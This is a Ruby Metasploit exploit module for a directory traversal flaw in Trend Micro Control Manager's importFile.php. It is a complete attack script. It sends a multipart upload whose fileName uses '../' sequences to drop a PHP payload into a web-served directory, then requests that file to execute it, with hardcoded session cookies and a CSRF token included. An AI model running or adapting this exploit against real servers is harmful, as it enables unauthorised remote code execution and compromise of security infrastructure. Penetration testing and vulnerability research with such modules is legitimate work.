require 'msf/core'
require 'msf/core/exploit/php_exe'
class MetasploitModule < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
include Msf::Exploit::PhpEXE
def initialize(info = {})
super(update_info(info,
'Name' => 'Trend Micro Control Manager importFile Directory Traversal RCE',
'Description' => %q{
This module exploits a directory traversal vulnerability found in Trend Micro
Control Manager. The vulnerability is triggered when sending a specially crafted
fileName (containing ../'s) parameter to the importFile.php script. This will allow
for writing outside of the ImportPolicy directory.
},
'Author' => [ 'james fitts' ],
'License' => MSF_LICENSE,
'Version' => '$Revision: $',
'References' =>
[
[ 'ZDI', '17-060' ],
[ 'URL', 'https://success.trendmicro.com/solution/1116624' ]
],
'Payload' =>
{
'BadChars' => "\x00",
},
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' =>
[
[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Feb 07 2017'))
register_options(
[
OptString.new('TARGETURI', [true, 'The base path to TMCM', '/webapp']),
OptBool.new('SSL', [ true, 'Use SSL', true]),
Opt::RPORT(443),
], self.class)
end
def exploit
require 'securerandom'
uri = target_uri.path
uri << '/' if uri[-1,1] != '/'
boundary = SecureRandom.hex
payload_name = "#{rand_text_alpha(5)}.php"
print_status("Uploading #{payload_name} to the server...")
cookies = "ASP_NET_SessionId=55hjl0burcvx21uslfxjbabs; "
cookies << "wf_cookie_path=%2F; WFINFOR=#{rand_text_alpha(10)}; "
cookies << "PHPSESSID=fc4o2lg5fpgognc28sjcitugj1; "
cookies << "wf_CSRF_token=bd52b54ced23d3dc257984f68c39d34b; "
cookies << "un=a8cad04472597b0c1163743109dad8f1; userID=1; "
cookies << "LANG=en_US; "
cookies << "wids=modTmcmCriticalEvents%2CmodTmcmUserThreatDetection%2CmodTmcmAppStatusSrv%2CmodTmcmTopThreats%2CmodTmcmEndpointThreatDetection%2CmodTmcmCompCompliance%2C; "
cookies << "lastID=65; cname=mainConsole; theme=default; lastTab=-1"
post_body = []
post_body << "--#{boundary}\r\n"
post_body << "Content-Disposition: form-data; name=\"action\"\r\n\r\n"
post_body << "importPolicy\r\n"
post_body << "--#{boundary}\r\n"
post_body << "Content-Disposition: form-data; name=\"fileSize\"\r\n\r\n"
post_body << "2097152\r\n"
post_body << "--#{boundary}\r\n"
post_body << "Content-Disposition: form-data; name=\"fileName\"\r\n\r\n"
post_body << "../../../widget_60_2899/repository/db/sqlite/#{payload_name}\r\n"
post_body << "--#{boundary}\r\n"
post_body << "Content-Disposition: form-data; name=\"filename\";\r\n"
post_body << "filename=\"policy.cmpolicy\"\r\n"
post_body << "Content-Type: application/octet-stream\r\n\r\n"
post_body << "<?php #{payload.raw} ?>\r\n\r\n"
post_body << "--#{boundary}--\r\n"
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri("#{uri}", "widget", "repository", "widgetPool", "wp1", "widgetBase", "modTMCM", "inc", "importFile.php"),
'ctype' => "multipart/form-data; boundary=#{boundary}",
'data' => post_body.join,
'headers' => {
'Cookie' => cookies,
'Accept-Encoding' => "gzip;q=1.0,deflate;q=0.6,identity;q=0.3",
'Connection' => "close",
'Accept' => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
'Accept-Language' => "en-US,en;q=0.5",
},
})
if res.body =~ /Import Successfully/
print_good("#{payload_name} uploaded successfully!")
print_status("Attempting to execute payload...")
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri("#{uri}", "widget_60_2899", "repository", "db", "sqlite", "#{payload_name}"),
'headesr' => {
'Cookie' => cookies
}
})
else
print_error("Something went wrong...")
end
end
end